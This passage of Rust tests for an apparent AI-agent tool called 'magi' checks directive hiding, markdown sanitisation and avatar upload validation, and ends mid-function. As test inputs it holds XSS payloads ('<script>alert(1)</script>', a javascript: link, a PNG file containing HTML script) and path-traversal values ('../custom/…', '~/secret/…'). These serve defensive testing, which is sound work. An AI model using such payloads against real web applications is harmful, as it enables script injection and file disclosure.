14362        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14363        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14364        assert!(!reply.excerpt.contains("automatic report"));
14365        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14366        saved.turns[1].messages[0].display = None; // old MAGI send
14367        ui.talks.put(&mut saved).unwrap();
14368        let view = TalkView::with_config(
14369            ui.talks.get(&id).unwrap(),
14370            false,
14371            None,
14372            &ui.home,
14373            &ui.references,
14374        );
14375        assert_eq!(view.turn_messages_md[1][0], queued_md);
14376        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14377        assert!(
14378            !view.talk.turns[2].messages[0]
14379                .reply
14380                .as_ref()
14381                .unwrap()
14382                .excerpt
14383                .contains("automatic report")
14384        );
14385        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14386    }
14387
14388    #[tokio::test]
14389    async fn consultation_display_hides_directives_in_queue_and_history() {
14390        for node in [
14391            "implement",
14392            crate::land::APPROVAL_NODE,
14393            crate::github_text::ASK_NODE,
14394        ] {
14395            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14396            let mut question = Question::new(
14397                "run-123".into(),
14398                node.into(),
14399                "seat-1".into(),
14400                "Which backend?".into(),
14401                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14402                vec!["SQLite".into(), "Redis".into()],
14403            );
14404            ui.questions.put(&mut question).unwrap();
14405            let body = crate::prompt::chat_consult(&question);
14406            let mut conversation = ui.talks.get(&id).unwrap();
14407            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14408            assert!(
14409                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14410            );
14411            conversation = ui.talks.get(&id).unwrap();
14412            assert_eq!(conversation.pending_messages[0].body, body);
14413            assert!(body.contains("magi answer"));
14414            let mut legacy_pending = conversation.clone();
14415            legacy_pending.pending_messages[0].display = None;
14416            let legacy_view =
14417                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14418            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14419            assert!(legacy_md.contains("Question consultation"));
14420            assert!(!legacy_md.contains("magi answer"));
14421            let view =
14422                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14423            assert!(
14424                view.turn_messages_md[0][0].is_none(),
14425                "operator copy stays literal"
14426            );
14427            let queued_md = view.pending_messages_md[0].clone().unwrap();
14428            let rendered = serde_json::to_string(&queued_md).unwrap();
14429            for visible in [
14430                "Which backend?",
14431                "Context",
14432                "storage",
14433                "SQLite",
14434                "Redis",
14435                "<script>literal</script>",
14436            ] {
14437                assert!(rendered.contains(visible), "missing {visible}");
14438            }
14439            for directive in [
14440                "What to do",
14441                "magi answer",
14442                "Never answer it yourself",
14443                "Do not edit the repository",
14444            ] {
14445                assert!(!rendered.contains(directive), "exposed {directive}");
14446            }
14447            assert_eq!(
14448                view.talk.pending_messages[0].display,
14449                Some(crate::prompt::chat_consult_display(&question))
14450            );
14451            talk::drain(&mut conversation, &ui.talks).unwrap();
14452            let view =
14453                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14454            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14455            assert_eq!(conversation.turns[1].messages[0].body, body);
14456
14457            // Historical consultations lack a snapshot: show a safe placeholder
14458            // rather than parsing instructions or reconstructing mutable facts.
14459            conversation.turns[1].messages[0].display = None;
14460            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14461            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14462            assert!(legacy.contains("Question consultation"));
14463            assert!(!legacy.contains("magi answer"));
14464            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14465        }
14466    }
14467
14468    #[test]
14469    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14470        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14471        let (body, mut display) =
14472            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14473        display.facts = facts.into();
14474        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14475        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14476        let json = serde_json::to_string(&nodes).unwrap();
14477        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14478            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14479        }
14480        assert!(json.contains("<script>alert(1)</script>"));
14481        assert!(!json.contains("javascript:"));
14482        assert!(!json.contains("Tell the operator"));
14483        assert!(!json.contains("untrusted"));
14484        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14485        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14486        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14487        assert_eq!(
14488            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14489            md::to_nodes("# Status", &md::ImageBase::None),
14490        );
14491    }
14492
14493    #[tokio::test]
14494    async fn notification_display_recovers_exact_legacy_completion_references() {
14495        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14496        let mut conversation = ui.talks.get(&id).unwrap();
14497        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14498            id: "task-123",
14499            title: "Change",
14500            status: "done",
14501            reason: None,
14502            run: Some("run-123"),
14503            pr: None,
14504            summary: Some("Merge state unknown"),
14505        });
14506        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14507        conversation.turns[0].sender = None;
14508        conversation.turns[0].messages.clear();
14509        conversation.turns[0].breaks = None;
14510        conversation.pending = body.clone();
14511        conversation
14512            .completion_notices
14513            .push(crate::chat_notify::CompletionReference {
14514                task: "task-123".into(),
14515                run: Some("run-123".into()),
14516                notice: body.clone(),
14517            });
14518        ui.talks.put(&mut conversation).unwrap();
14519        let view = TalkView::with_config(
14520            ui.talks.get(&id).unwrap(),
14521            false,
14522            None,
14523            &ui.home,
14524            &ui.references,
14525        );
14526        assert_eq!(
14527            view.talk.turns[0].messages[0].display,
14528            Some(display.clone())
14529        );
14530        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14531        assert_eq!(
14532            view.talk.turns[0].messages[0].sender,
14533            Some(talk::Sender::Magi)
14534        );
14535        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14536        conversation.completion_notices[0]
14537            .notice
14538            .push_str("different");
14539        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14540        assert!(view.talk.turns[0].messages.is_empty());
14541        assert!(view.talk.pending_messages.is_empty());
14542    }
14543
14544    #[tokio::test]
14545    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14546        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14547        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14548            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14549        ))
14550        .await;
14551        let path = avatar_setting_path(home.path(), Some("rei"));
14552        let orphan = avatar_setting_path(home.path(), Some("removed"));
14553        save_icon_file(&orphan, icon).unwrap();
14554        for (saved, expected) in [
14555            (icon, "custom"),
14556            ("builtin", "builtin"),
14557            ("data:image/png;base64,!!!!", "inherit"),
14558            ("data:image/png;base64,PGh0bWw+", "inherit"),
14559            ("/tmp/avatar.png", "inherit"),
14560        ] {
14561            atomic_icon_write(&path, saved).unwrap();
14562            let catalog =
14563                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14564                    .await
14565                    .unwrap()
14566                    .0;
14567            let personas = catalog["personas"].as_array().unwrap();
14568            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14569            assert_eq!(rei["override_state"], expected);
14570            assert_eq!(rei["has_config_icon"], true);
14571            assert_eq!(rei["is_orphan"], false);
14572            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14573            assert_eq!(removed["override_state"], "custom");
14574            assert_eq!(removed["is_orphan"], true);
14575            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14576            assert_eq!(default["override_state"], "inherit");
14577            assert_eq!(default["has_config_icon"], false);
14578            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14579            assert_eq!(
14580                effective.as_deref(),
14581                Some(if expected == "builtin" { "" } else { icon })
14582            );
14583        }
14584    }
14585
14586    #[tokio::test]
14587    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14588        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14589        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14590            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14591        ))
14592        .await;
14593        let target = |id: Option<&str>| AvatarSettingsQuery {
14594            persona: id.map(str::to_owned),
14595            ..Default::default()
14596        };
14597        let original_config = config_for(&repo).await.unwrap();
14598        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14599        let original_prompt = persona::section_for(&original_persona, None);
14600        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14601            .await
14602            .unwrap()
14603            .0;
14604        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14605            let _ = avatar_settings_put(
14606                State(ui.clone()),
14607                Query(target(persona)),
14608                Json(MagiIconUpload { icon: icon.into() }),
14609            )
14610            .await
14611            .unwrap();
14612            let path = avatar_setting_path(home.path(), persona);
14613            assert!(path.starts_with(home.path().join("avatars")));
14614            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14615            for bad in [
14616                "/tmp/image.png".to_owned(),
14617                "data:image/png;base64,!!!!".to_owned(),
14618                "data:image/png;base64,PGh0bWw+".to_owned(),
14619                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14620                format!(
14621                    "data:image/png;base64,{}",
14622                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14623                ),
14624            ] {
14625                assert!(
14626                    avatar_settings_put(
14627                        State(ui.clone()),
14628                        Query(target(persona)),
14629                        Json(MagiIconUpload { icon: bad })
14630                    )
14631                    .await
14632                    .is_err()
14633                );
14634                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14635            }
14636        }
14637        assert!(read_magi_icon(home.path()).is_none());
14638        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14639        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14640            .await
14641            .unwrap()
14642            .0;
14643        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14644        assert_ne!(
14645            before
14646                .personas
14647                .iter()
14648                .find(|p| p.id == "magi")
14649                .unwrap()
14650                .avatar,
14651            after
14652                .personas
14653                .iter()
14654                .find(|p| p.id == "magi")
14655                .unwrap()
14656                .avatar
14657        );
14658        let restarted = Arc::new(Ui::new(
14659            Queue::at(home.path().join("queue")),
14660            Questions::at(home.path().join("questions")),
14661            Talks::at(home.path().join("talks")),
14662            home.path().join("runs"),
14663            home.path().to_owned(),
14664            repo,
14665        ));
14666        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14667            .await
14668            .unwrap()
14669            .0;
14670        assert!(
14671            catalog["personas"]
14672                .as_array()
14673                .unwrap()
14674                .iter()
14675                .any(|p| p["id"] == "../custom/日本語")
14676        );
14677        for expected in ["custom", "default", "rei"] {
14678            assert!(
14679                catalog["personas"]
14680                    .as_array()
14681                    .unwrap()
14682                    .iter()
14683                    .any(|p| p["id"] == expected)
14684            );
14685        }
14686        let response =
14687            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14688        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14689        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14690            .await
14691            .unwrap();
14692        assert_eq!(
14693            effective_persona_icon(home.path(), "rei", Some(icon)),
14694            Some(String::new())
14695        );
14696        let response = talk_avatar(
14697            State(restarted.clone()),
14698            Path(id.clone()),
14699            Query(AvatarQuery {
14700                persona: Some("rei".into()),
14701                ..Default::default()
14702            }),
14703        )
14704        .await
14705        .unwrap();
14706        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14707        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14708            .await
14709            .unwrap()
14710            .0;
14711        assert_ne!(
14712            after
14713                .personas
14714                .iter()
14715                .find(|p| p.id == "rei")
14716                .unwrap()
14717                .avatar,
14718            reset
14719                .personas
14720                .iter()
14721                .find(|p| p.id == "rei")
14722                .unwrap()
14723                .avatar
14724        );
14725        let mut inherit = target(Some("rei"));
14726        inherit.inherit = Some("1".into());
14727        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14728            .await
14729            .unwrap();
14730        assert_eq!(
14731            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14732            Some(icon)
14733        );
14734        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14735            .await
14736            .unwrap();
14737        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14738        assert_eq!(
14739            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14740            Some(icon)
14741        );
14742        // Display changes never rewrite the conversation or its prompt-bearing config.
14743        let cfg = config_for(&ui.repo).await.unwrap();
14744        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14745        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14746        assert!(!original_prompt.contains("data:image"));
14747        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14748        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14749        assert!(!stored.contains("data:image"));
14750        let mut orphan = ui.talks.get(&id).unwrap();
14751        orphan.persona = "../custom/日本語".into();
14752        let view = TalkView::with_config(
14753            orphan,
14754            false,
14755            Some(&cfg),
14756            home.path(),
14757            &id_links::IndexCache::default(),
14758        );
14759        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14760    }
14761
14762    #[tokio::test]
14763    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14764        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14765        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14766        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14767        let _ = magi_icon_put(
14768            State(ui.clone()),
14769            Json(MagiIconUpload { icon: icon.into() }),
14770        )
14771        .await
14772        .unwrap();
14773        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14774        assert_ne!(original, changed);
14775        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14776        let response = magi_avatar(
14777            State(ui.clone()),
14778            Query(AvatarQuery {
14779                persona: None,
14780                builtin: None,
14781            }),
14782        )
14783        .await;
14784        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14785        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14786        assert_eq!(
14787            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14788            "nosniff"
14789        );
14790        for bad in [
14791            "data:image/png;base64,PGh0bWw+".to_owned(),
14792            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14793            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14794        ] {
14795            assert!(save_magi_icon(home.path(), &bad).is_err());
14796            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14797        }
14798        // Re-opened server state reads the same independent home file.
14799        let restarted = Arc::new(Ui::new(
14800            Queue::at(home.path().join("queue")),
14801            Questions::at(home.path().join("questions")),
14802            Talks::at(home.path().join("talks")),
14803            home.path().join("runs"),
14804            home.path().to_path_buf(),
14805            repo,
14806        ));
14807        assert_eq!(
14808            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14809            changed
14810        );
14811        let view = TalkView::with_config(
14812            restarted.talks.get(&id).unwrap(),
14813            false,
14814            None,
14815            &restarted.home,
14816            &restarted.references,
14817        );
14818        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14819        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14820        let response = magi_avatar(
14821            State(ui.clone()),
14822            Query(AvatarQuery {
14823                persona: None,
14824                builtin: None,
14825            }),
14826        )
14827        .await;
14828        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14829            .await
14830            .unwrap();
14831        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14832        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14833        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14834        let _ = magi_icon_delete(State(ui)).await.unwrap();
14835    }
14836
14837    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14838    async fn avatar(
14839        ui: &Arc<Ui>,
14840        id: &str,
14841        persona: Option<&str>,
14842        builtin: bool,
14843    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14844        let res = talk_avatar(
14845            State(Arc::clone(ui)),
14846            Path(id.to_owned()),
14847            Query(AvatarQuery {
14848                persona: persona.map(str::to_owned),
14849                builtin: builtin.then(|| "1".to_owned()),
14850            }),
14851        )
14852        .await
14853        .expect("an avatar is never an error response");
14854        let h = res.headers();
14855        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14856        let nosniff = h
14857            .get(header::X_CONTENT_TYPE_OPTIONS)
14858            .is_some_and(|v| v == "nosniff");
14859        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14860        let status = res.status();
14861        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14862            .await
14863            .expect("body")
14864            .to_vec();
14865        (status, ct, nosniff, csp, body)
14866    }
14867
14868    fn tiny_png() -> Vec<u8> {
14869        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14870        b.extend_from_slice(&[0u8; 32]);
14871        b
14872    }
14873
14874    #[tokio::test]
14875    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14876        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14877        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14878        assert_eq!(res.status(), StatusCode::OK);
14879        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14880        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14881        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14882        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14883        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14884            .await
14885            .unwrap();
14886        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14887        assert_ne!(
14888            persona_icon::operator_svg(),
14889            persona_icon::builtin_svg("default")
14890        );
14891    }
14892
14893    #[tokio::test]
14894    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14895        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14896        for p in [
14897            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14898        ] {
14899            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14900            assert_eq!(status, StatusCode::OK, "{p}");
14901            assert_eq!(ct, "image/svg+xml", "{p}");
14902            assert!(nosniff && csp, "{p}");
14903            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14904        }
14905        // No `persona` means the conversation's own; unknown ones fall back.
14906        let own = avatar(&ui, &id, None, false).await;
14907        let default = avatar(&ui, &id, Some("default"), false).await;
14908        assert_eq!(own.4, default.4);
14909        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14910        assert_eq!(unknown.1, "image/svg+xml");
14911    }
14912
14913    #[tokio::test]
14914    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14915        let dir = TempDir::new().expect("icons");
14916        let good = dir.path().join("good.png");
14917        std::fs::write(&good, tiny_png()).unwrap();
14918        let spoof = dir.path().join("spoof.png");
14919        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14920        let big = dir.path().join("big.png");
14921        let mut bytes = tiny_png();
14922        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14923        std::fs::write(&big, bytes).unwrap();
14924        let missing = dir.path().join("missing.png");
14925        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14926        let extra = format!(
14927            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14928             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14929             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14930             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14931             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14932             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14933            uri(&good),
14934            uri(&spoof),
14935            uri(&big),
14936            uri(&missing),
14937        );
14938        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14939
14940        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14941        assert_eq!(
14942            (status, ct.as_str(), nosniff),
14943            (StatusCode::OK, "image/png", true)
14944        );
14945        assert_eq!(body, tiny_png());
14946        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14947        assert_eq!(ct, "image/png", "data URI");
14948
14949        for p in ["misato", "asuka", "shinji", "magi"] {
14950            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14951            assert_eq!(
14952                (status, ct.as_str(), csp),
14953                (StatusCode::OK, "image/svg+xml", true),
14954                "{p}"
14955            );
14956            assert!(body.starts_with(b"<svg"), "{p}");
14957        }
14958        // The page's own retry skips the icon.
14959        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14960        assert_eq!(ct, "image/svg+xml");
14961    }
14962
14963    #[tokio::test]
14964    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14965        let oversized = format!(
14966            "data:image/png;base64,{}",
14967            "A".repeat(persona_icon::ICON_MAX_BYTES)
14968        );
14969        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14970            let extra = format!(
14971                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14972            );
14973            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14974            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14975                .await
14976                .expect("detail with invalid icon");
14977            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14978            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14979            assert_eq!(status, StatusCode::OK);
14980            assert_eq!(ct, "image/svg+xml");
14981            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14982            let Json(view) = talk_persona(
14983                State(Arc::clone(&ui)),
14984                Path(id.clone()),
14985                Json(TalkPersona {
14986                    persona: "custom".into(),
14987                }),
14988            )
14989            .await
14990            .expect("persona switch with invalid icon");
14991            assert_eq!(view.talk.persona, "custom");
14992            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14993        }
14994    }
14995
14996    #[tokio::test]
14997    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14998        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14999        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15000        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15001        assert_eq!(
15002            (status, ct.as_str(), nosniff, csp),
15003            (StatusCode::OK, "image/svg+xml", true, true)
15004        );
15005    }
15006
15007    #[tokio::test]
15008    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15009        let (_t, _h, ui, id, _repo) =
15010            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15011        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15012            .await
15013            .expect("detail");
15014        let json = serde_json::to_string(&detail).unwrap();
15015        assert!(
15016            !json.contains("secret"),
15017            "the icon setting must not leak: {json}"
15018        );
15019        assert!(
15020            detail
15021                .view
15022                .persona_avatar
15023                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15024        );
15025        assert_eq!(
15026            detail.view.operator_avatar,
15027            format!(
15028                "/avatars/operator.svg?v={}",
15029                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15030            )
15031        );
15032        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15033        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15034        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15035        assert!(rei.avatar.contains("persona=rei&v="));
15036        assert_ne!(
15037            rei.avatar.split("&v=").nth(1),
15038            plain.avatar.split("&v=").nth(1)
15039        );
15040    }
15041
15042    #[tokio::test]
15043    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15044        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15045        let cfg = config_for(&repo).await.unwrap();
15046        for arrived in [false, true] {
15047            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15048            let observed = ui.queued_generation(&id);
15049            let talk = ui.talks.get(&id).unwrap();
15050            if arrived {
15051                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15052            }
15053            let mut settling = std::pin::pin!(settle_settings_turn(
15054                talk,
15055                ui.talks.clone(),
15056                cfg.clone(),
15057                id.clone(),
15058                turn,
15059                observed
15060            ));
15061            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15062            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15063            assert_eq!(first.is_pending(), arrived);
15064            if arrived {
15065                assert!(!settling.await);
15066            }
15067            assert!(!ui.is_thinking(&id));
15068        }
15069    }
15070
15071    #[tokio::test]
15072    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15073        let tmp = TempDir::new().expect("tempdir");
15074        let repo = tmp.path().join("repo");
15075        std::fs::create_dir_all(&repo).expect("repo dir");
15076        std::fs::write(
15077            repo.join("magi.toml"),
15078            format!(
15079                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15080            ),
15081        )
15082        .expect("write magi.toml");
15083        let home = TempDir::new().expect("temp home");
15084        let talks = Talks::at(home.path().join("talks"));
15085        let ui = Arc::new(
15086            Ui::new(
15087                Queue::at(home.path().join("queue")),
15088                Questions::at(home.path().join("questions")),
15089                talks.clone(),
15090                home.path().join("runs"),
15091                home.path().to_path_buf(),
15092                repo.clone(),
15093            )
15094            .with_worktrees_root(home.path().join("wt")),
15095        );
15096        let cfg = config_for(&repo).await.expect("discover config");
15097        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15098        let id = talk.id.clone();
15099        let call = |persona: &str| {
15100            talk_persona(
15101                State(Arc::clone(&ui)),
15102                Path(id.clone()),
15103                Json(TalkPersona {
15104                    persona: persona.to_owned(),
15105                }),
15106            )
15107        };
15108
15109        let unknown = call("nobody").await.expect_err("unknown persona");
15110        assert_eq!(
15111            unknown.status,
15112            StatusCode::BAD_REQUEST,
15113            "{}",
15114            unknown.message
15115        );
15116
15117        {
15118            // Nothing refused so far took a claim, so the guard is free to take
15119            // and holding it is what makes the talk busy.
15120            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15121            let busy = call("rei").await.expect_err("busy talk");
15122            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15123            assert!(
15124                busy.message.contains("a talk turn is running"),
15125                "{}",
15126                busy.message
15127            );
15128            drop(guard);
15129        }
15130        assert_eq!(talks.get(&id).expect("reload").persona, "");
15131
15132        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15133        assert_eq!(view.talk.persona, "gendo");
15134        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15135        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15136        // No intervening I/O or sleep may be needed before another change.
15137        for chosen in ["default", "gendo", "rei", "gendo"] {
15138            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15139            assert!(!view.thinking);
15140            assert!(!ui.is_thinking(&id));
15141        }
15142
15143        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15144            .await
15145            .expect("detail");
15146        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15147        assert_eq!(ids.first(), Some(&"default"));
15148        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15149
15150        let Json(view) = call("default").await.expect("back to default");
15151        assert_eq!(view.talk.persona, "");
15152
15153        let mut closed = talks.get(&id).expect("reload");
15154        talk::close(&mut closed, &talks).expect("close");
15155        let refused = call("rei").await.expect_err("closed talk");
15156        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15157        assert!(
15158            refused.message.contains("takes no more turns"),
15159            "{}",
15160            refused.message
15161        );
15162    }
15163
15164    #[tokio::test]
15165    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15166        let f = Fixture::start().await;
15167        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15168        let queue = f.queue();
15169        let mut mine = Task::new(
15170            "rename the loader".to_owned(),
15171            "rename the loader".to_owned(),
15172            PathBuf::from("/repo/magi"),
15173            Source::Agent {
15174                run: talk_id.clone(),
